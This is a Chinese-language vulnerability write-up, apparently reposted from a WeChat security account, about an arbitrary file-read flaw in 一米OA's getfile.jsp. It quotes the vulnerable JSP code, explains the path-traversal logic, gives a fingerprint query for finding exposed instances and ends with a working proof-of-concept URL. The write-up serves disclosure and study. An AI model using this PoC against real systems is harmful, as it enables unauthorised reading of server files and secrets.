一米OA getfile.jsp 任意文件读取漏洞

admin 2023年9月21日18:45:39评论26 views字数 2910阅读9分42秒阅读模式

漏洞描述

一米OA getfile.jsp文件过滤不足,导致任意文件读取漏洞

漏洞影响

一米OA

网络测绘

app="一米OA"

漏洞复现

产品页面

一米OA getfile.jsp 任意文件读取漏洞

出现漏洞的文件

<%@ page contentType="text/html;charset=utf-8" %>
<%@page import="cn.js.fan.util.*" %>
<%@page import="cn.js.fan.web.Global" %>
<%@page import="com.redmoon.oa.*" %>
<%@page import="java.io.*" %>
<jsp:useBean id="fchar" scope="page" class="cn.js.fan.util.StrUtil"/>
<jsp:useBean id="fsecurity" scope="page" class="cn.js.fan.security.SecurityUtil"/>
<jsp:useBean id="privilege" scope="page" class="com.redmoon.oa.pvg.Privilege"/>
<%
  String user = ParamUtil.get(request, "user");
  if ("".equals(user)) {
      if (!privilege.isUserPrivValid(request, "read")) {
          System.out.println("警告非法用户,你无访问此页的权限!");
          return;
      }
  }

  String filename = ParamUtil.get(request, "filename");
  String extname = request.getParameter("extname");
  String prop = request.getParameter("prop");
  if (filename == null) {
      System.out.println("缺少文件名!");
      return;
  }

  filename = filename + "." + extname;

  Config cfg = new Config();
  String noticefilepath;
  if ("activex".equals(prop)) {
      noticefilepath = prop;
  } else {
      noticefilepath = cfg.get(prop);
  }

  String filePath = Global.getRealPath() + "/" + noticefilepath + "/" + filename;
  if ("li".equals(prop)) {
      filePath = Global.getRealPath() + "WEB-INF/" + prop + filename;
  }

  response.setContentType("application/" + extname);
  response.setHeader("Content-disposition", "attachment; filename=" + filename);

  BufferedInputStream bis = null;
  BufferedOutputStream bos = null;

  try {
      bis = new BufferedInputStream(new FileInputStream(filePath));
      bos = new BufferedOutputStream(response.getOutputStream());

      byte[] buff = new byte[2048];
      int bytesRead;

      while (-1 != (bytesRead = bis.read(buff, 0, buff.length))) {
          bos.write(buff, 0, bytesRead);
      }

  } catch (final IOException e) {
      System.out.println("出现IOException." + e);
  } finally {
      if (bis != null)
          bis.close();
      if (bos != null)
          bos.close();
  }

  out.clear();
  out = pageContext.pushBody();
%>

首先验证 user 传参是否为空, 需要对 user 参数任意赋值

if ("".equals(user)) {
      if (!privilege.isUserPrivValid(request, "read")) {
          System.out.println("警告非法用户,你无访问此页的权限!");
          return;
      }
  }

接着接受3个参数 filename, extname, prop

String filename = ParamUtil.get(request, "filename");
String extname = request.getParameter("extname");
String prop = request.getParameter("prop");

接着判断 prop 是否为 activex, 不等于则会去调用系统默认配置的路径 所以filename和extname这两个参数我们可以控制。构造请求前台任意文件读取

String filePath = Global.getRealPath() + "/" + noticefilepath + "/" + filename;
  if ("li".equals(prop)) {
      filePath = Global.getRealPath() + "WEB-INF/" + prop + filename;
  }

验证POC

/public/getfile.jsp?user=1&prop=activex&filename=../public/getfile&extname=jsp

一米OA getfile.jsp 任意文件读取漏洞

一米OA getfile.jsp 任意文件读取漏洞

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!


敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

原文始发于微信公众号(巢安实验室):一米OA getfile.jsp 任意文件读取漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月21日18:45:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一米OA getfile.jsp 任意文件读取漏洞https://cn-sec.com/archives/2056349.html

发表评论

匿名网友 填写信息